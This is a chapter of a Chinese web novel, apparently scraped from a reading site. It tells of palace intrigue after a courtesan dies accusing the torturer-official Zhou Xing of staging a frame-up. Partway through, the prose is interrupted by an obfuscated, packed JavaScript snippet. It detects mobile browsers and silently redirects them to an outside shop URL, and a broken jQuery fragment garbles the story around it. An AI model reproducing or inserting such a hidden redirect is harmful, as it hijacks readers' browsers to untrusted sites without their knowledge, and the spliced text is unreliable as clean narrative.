文趣网 > 其他小说 > 一根能改变世界线的红线 > 25. 被献祭的棋子
    “他就是能止小儿夜啼的恶鬼,周兴。”

    即便寡闻如李心晖也知道这个名字:“原来是他。”

    现任刑部侍郎,昭狱里最残忍的刽子手,周兴。

    怪不得。

    容纳了近千人的胡姬酒肆都瞬间安静了下来。

    上官惠文刚说完,一楼便站出来一个人,朝着二楼拱手行礼后说:“下官和好友方才在欣赏山阶上的一丛牡丹,恰巧看到了假山上发生的事。”

    说罢他口中的好友也走了出来,不过一手还举着酒杯,双颊酡红,醉态浓郁。

    吴将军显然认识此人,正巧,李心晖也识得,是一早与她搭话的裴如咎。

    “裴大人,那你便同吴某走一趟吧,正巧,你也同路。”

    裴如咎十分从容恭敬地朝吴将军颔首,两人相视一笑。

    “慢着。”

    出言阻拦的是周兴,他细长白皙的手抚过二楼刷了桐油的栏杆,像是在挑拣上面的木刺。

    “既然裴少尹要作为人证上堂,那还是去刑部衙门更合适吧。”

    裴如咎无可无不可,脸上看不出喜怒。

    其他几个也都默不吭声,就算是默认了。

    唯有一人,突然暴起挣扎起来。

    “不!我不去刑部,死也不去!我刚刚说的是假话,没有鬼,没有鬼,是有人让我……这么说的……”

    两个金吾卫都摁不住郑举举,她像是一头疯牛一般朝吴将军撞了过去。

    但话未说完,人就撞上了吴将军的横刀,刀刃穿胸而过。

    但她依旧用尽全身的力气,抬起手指向了那个指使她喊“有鬼”的人。

    “我?呵!”

    周兴拍着栏杆大笑起来。自他升尚书左丞以来,还没有人敢对他做这种事。

    一向只有他逼供他人、污蔑他人的份,青天白日的,竟然有人敢这么明目张胆的攀咬他。

    真是活久了什么都能见到。

    但是郑举举在指认他后就咽气了,他引以为傲的刑讯手段对死人并不起作用。

    但不是还有另一个人活着呢嘛。

    周兴来了兴致,从二楼走了下去,踱步到尉迟红月身前,抬起他的脸,打量了一番。

    得出一个结论:“陌生面孔。”

    随后又走向裴如咎,站得极近,在二楼看着几乎就要贴在一起了。

    周兴就这么贴着裴如咎询问:“裴少尹说和友人在赏花看见了案件经过,但为何周某在裴少尹身上却闻不到你那位友人身上的酒气呢?”

    说完后他退后几步,晃了晃脑袋:“忘了,裴少尹还未说假山上到底发生了什么呢。”

    裴如咎被如此冒犯,显出几分薄怒,出言质问道:“周大人是把这胡姬酒肆当成了刑部大堂,把裴某当成嫌犯不成,真是好威风啊!”

    周兴指了指躺在地上的郑举举道:“毕竟可是出了人命啊,而且此人死前还攀咬本官,难道周某不能发发脾气吗?”

    裴如咎也一反方才儒雅的气质嘲讽道:“哼,周大人要发脾气也回自己家再发,神都可不是让你随意撒泼的地方。”

    吴将军拿着仍在滴血的刀,一双眼瞳死死盯着周兴。

    方才郑举举突然扑过来,状态像是陷入了疯魔,他下意识拔刀根本没有听清她嘴里在叫嚷什么。

    若不是郑举举最后抬手指认周兴,他怕是要惹上了一场不小的麻烦。

    周兴难掩激动:“好啊,那便请裴少尹和这位……嫌犯到刑部走一趟了。

    还有今日酒肆所有参与六部会文的官员,一个月内都不许出神都,本官随时都会传唤。”

    “不妥吧。”

    周兴抬起头,看向反对自己的人。

    华服男子不知何时也来到了窗前,鼓起的肚子顶着栏杆。

    他翘起的嘴角微微绷紧,片刻后又放松下来。

    “英王殿下此言有理,既然周某被死者指认是主使,自然不能再做主审。”

    “那便只能移交大理寺了。”

    上官惠文适时出言提议,场面却冷到了极点,无人出言搭腔。

    英王摸摸揉揉被茶点和葡萄酒塞满的肚子,开始思忖方才是不是冲动了,不该插那句嘴。

    周兴则沉浸在愤怒和不敢置信的情绪中,兴奋已经爬满他的全身,又要拼尽全力压制,至少不能在这种场合下发疯。

    吴将军甩刀归鞘,抱着手作壁上观。

    裴如咎和尉迟红月一样垂着头,看不见情绪。

    “大理寺卿之位已空悬多年,而唯一的少卿也时常称病,故今日并无大理寺之人在场。”

    房玄机附耳告诉李心晖,他以为的无人接话的原因。

    李心晖微微偏移视线,表示自己听见了。

    但现在这个不重要,重要的是郑举举死了。

    “唉?不是说今日是六部会文的日子,怎么断起案来了。”

    从庭院到酒肆门口让出一条路来,穿着一身落拓青衫的清瘦男子走了进来。

    周兴离得最近,见到来人似乎想明白了什么,抬头看了眼上官惠文,眼神里带着警告。

    上官惠文听到这个熟悉的声音也猜到了来人,无声回了一句:“不是我干的。”

    李心晖也听出了这个声音,小声告诉了房玄机来人的名号:“是褚先生。”

    房玄机不曾见过褚志诚,只听闻过他喜好周游天下,以及从来不在神都过夜的癖好。

    “褚先生?他不是元日刚来过神都,如今还不到半年怎么可能会回到神都,出现在这里呢?”

    李心晖也不清楚其中的缘由,只是看着褚志诚和尉迟红月站在一起的画面,记忆突然翻回了元日的雪夜。

    那个站在老马旁,个子特别高的仆人,好像和尉迟红月一样高。

    但是样貌却不同,是易容了吗?

    “老师是何时进的城,惠文都没收到消息,没去城门迎接,是学生失职。”

    上官惠文不知何时已经下楼,走到褚志诚身边搀扶着。

    他们竟然是师生关系吗?

    李心晖转头看了眼房玄机,见对方也一脸震惊,心里才稍稍好受一些。

    至少自己还不至于无知到这种地步。

    “我并未出城,谈何进城呢。”

    上官惠文是真没想到,面上却并不如何吃惊,只问:“老师怎么转了性子,不是一向嫌神都喧闹拥挤,待不住吗?”

    “年纪大了,跑不动了,只能找个地方搭个窝,钻进去准备等死了。”

    “老师这是哪里话,不知老师在哪个坊定居,学生隔日便去拜访。”

    褚志诚丝毫不理会上官惠文的殷勤,指着地上郑举举的尸体问:“先不说这个,这儿是怎么回事,怎么还有死人呢?”

    “是个花魁娘子罢了,褚先生不必在意。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522512|203354||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回话的是周兴,但褚志诚并不理他。

    上官惠文沉默着不知想到了什么,褚志诚推开她的手,走到尸体身前。

    看着那张已经恢复平静的脸,蹲下身,一手持甘露印,颂了两声佛偈。

    “还这么年轻,就去了。可怜呐。”

    吴将军站在一旁,见褚志诚替郑举举超度结束,喊了两人把尸体抬了下去。

    “没想到褚先生居然信佛。”

    褚志诚在吴将军身旁显得更加瘦小:“只是见得多了,便看会了。我一个酒不离身的老头,说信佛都是玷污了这个佛字。”

    上官惠文走上前再次搀扶起褚志诚:“老师今日怕是要扫兴了,胡姬酒肆出了命案,还牵扯了参会的褚员外郎,六部会文也得改日了。”

    “褚员外郎?”

    褚姓本不常见,在场另一褚姓的人还特意捡出来着重询问,很容易让人联想到他们之间的关系。

    上官惠文却好似什么都不明白的模样,指着依旧被金吾卫压制住的尉迟红月说:“便是那位。花魁娘子死前曾被褚员外郎吓到,后又指认是受周大人指使,做戏污蔑褚员外郎。”

    周兴扬起嘴角冷笑,上官惠文这是要抓紧站队,跟自己划清界限了。

    她不会蠢到以为这点小事就会让我失去陛下的宠幸,被当做弃子丢给小狼们分食骨肉吧。

    褚志诚看了垂着脑袋的尉迟红月半晌,突然爽朗地大笑起来。

    “我道方才怎么觉着眼熟,原来竟是你这个猢狲。”

    褚志诚拉着上官惠文来到尉迟红月身前问他:“你可是做了何丢脸面的事,才这般羞于见人吗?”

    尉迟红月讪笑一声:“被人冤枉做局,却无力反抗,的确是有够丢人的。但学生只是不想抬头倒不是无颜见人,不过只是不想看到……某些无耻之徒的嘴脸罢了。”

    他这话音量不高,也只有周围几人能够听见。

    二楼,房玄机这才知道尉迟红月成了褚志诚的学生,倍感意外,还极度想不通。

    “褚先生一向不插手朝中之事,他收尉迟郎君作学生,究竟知不知道他的身世。”

    李心晖倒是不在意这个,反而在想另一个难题:“若是长孙还在,看到自己的好友作为棋子无辜身死……”

    房玄机也才想到,不由庆幸长孙提早离开,没有直面这场以好友的鲜血和生命开场的闹剧。

    这里不是衙门,尉迟红月可以抱怨,周兴也可以不回答。

    他早就习惯了与各种各样的血作伴,今日不知为何,地上那一滩已经变得乌黑黏稠的液体,居然让他觉得心慌起来。

    不过就是死了个人,死了个乐妓。什么花魁,什么都知,不过也只是一个贱籍。

    而他可是刑部侍郎,是陛下的狗,打狗是要看主人的。

    但今日,这些人,真就是为了置他于死地,才做的这个局吗?

    周兴看向站在一处的三人:上官惠文、褚志诚,还有那个名不见经传的小小员外郎。

    也太巧了吧,万一他今天不来呢?

    以他的身份和名声,本就无人敢要求他必须来参加六部会文,今年也不过是一时兴起,听闻是上官惠文亲自主持,亲自出题……

    周兴看着脸上扬着淡淡笑意的上官惠文,脑海里有一瞬间在思考,这位与自己尚算合拍的同僚,究竟是什么时候开始,计划要除掉自己的呢?